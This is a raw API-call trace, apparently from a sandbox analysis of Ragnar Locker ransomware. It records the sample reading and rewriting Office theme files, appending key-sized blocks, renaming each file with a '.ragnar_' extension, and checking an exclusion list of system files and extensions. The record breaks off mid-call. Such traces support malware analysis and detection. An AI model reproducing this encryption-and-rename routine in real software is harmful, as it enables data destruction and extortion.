[0093.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.813] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=49025) returned 1 [0093.813] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xbf78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.813] GetProcessHeap () returned 0x580000 [0093.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.813] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.814] VirtualAlloc (lpAddress=0x0, dwSize=0xbf81, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.814] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.814] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.814] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbf81, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbf81, lpOverlapped=0x0) returned 1 [0093.816] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.816] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbf81, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.816] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbf81, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbf81, lpOverlapped=0x0) returned 1 [0093.816] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbf81, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.817] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.817] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xbf81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.817] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.817] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.817] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.817] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.817] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.817] GetProcessHeap () returned 0x580000 [0093.817] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.817] CloseHandle (hObject=0x98) returned 1 [0093.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" [0093.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.ragnar_FD7BD9FC" [0093.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.818] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0093.818] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.818] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Aspect.eftx" | out: lpString1="Aspect.eftx") returned="Aspect.eftx" [0093.818] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned=".eftx" [0093.818] lstrcmpiW (lpString1="Aspect.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.818] lstrcmpiW (lpString1="Aspect.eftx", lpString2="autorun.inf") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="boot.ini") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootfont.bin") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootsect.bak") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootmgr") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootmgr.efi") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootmgfw.efi") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="desktop.ini") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="iconcache.db") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ntldr") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ntuser.dat") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ntuser.dat.log") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ntuser.ini") returned -1 [0093.819] lstrcmpiW (lpString1="Aspect.eftx", lpString2="thumbs.db") returned -1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.819] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0093.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.821] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22554) returned 1 [0093.821] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5811, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.822] GetProcessHeap () returned 0x580000 [0093.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.822] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.823] VirtualAlloc (lpAddress=0x0, dwSize=0x581a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.823] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.823] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.823] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x581a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x581a, lpOverlapped=0x0) returned 1 [0093.825] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.825] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x581a, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.825] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x581a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x581a, lpOverlapped=0x0) returned 1 [0093.825] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x581a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.825] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.825] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x581a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.825] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.825] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.826] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.826] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.826] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.826] GetProcessHeap () returned 0x580000 [0093.826] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.826] CloseHandle (hObject=0x98) returned 1 [0093.826] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" [0093.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.ragnar_FD7BD9FC" [0093.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.843] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0093.843] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.843] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Austin.eftx" | out: lpString1="Austin.eftx") returned="Austin.eftx" [0093.843] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned=".eftx" [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="autorun.inf") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="boot.ini") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootfont.bin") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootsect.bak") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootmgr") returned -1 [0093.843] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootmgr.efi") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootmgfw.efi") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="desktop.ini") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="iconcache.db") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="ntldr") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="ntuser.dat") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="ntuser.dat.log") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="ntuser.ini") returned -1 [0093.844] lstrcmpiW (lpString1="Austin.eftx", lpString2="thumbs.db") returned -1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.844] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0093.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.845] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26989) returned 1 [0093.845] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.845] GetProcessHeap () returned 0x580000 [0093.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.845] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.847] VirtualAlloc (lpAddress=0x0, dwSize=0x696d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.847] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.847] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.847] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x696d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x696d, lpOverlapped=0x0) returned 1 [0093.848] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.848] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x696d, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.848] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x696d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x696d, lpOverlapped=0x0) returned 1 [0093.849] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x696d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.849] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.849] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x696d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.849] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.849] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.849] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.849] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.849] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.849] GetProcessHeap () returned 0x580000 [0093.849] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.849] CloseHandle (hObject=0x98) returned 1 [0093.850] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" [0093.850] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.ragnar_FD7BD9FC" [0093.850] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.850] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0093.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.850] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Black Tie.eftx" | out: lpString1="Black Tie.eftx") returned="Black Tie.eftx" [0093.851] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned=".eftx" [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="autorun.inf") returned 1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="boot.ini") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootfont.bin") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootsect.bak") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootmgr") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootmgr.efi") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="bootmgfw.efi") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="desktop.ini") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="iconcache.db") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ntldr") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ntuser.dat") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ntuser.dat.log") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="ntuser.ini") returned -1 [0093.851] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="thumbs.db") returned -1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.851] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0093.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.852] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=618119) returned 1 [0093.852] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x96e7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.852] GetProcessHeap () returned 0x580000 [0093.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.852] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: 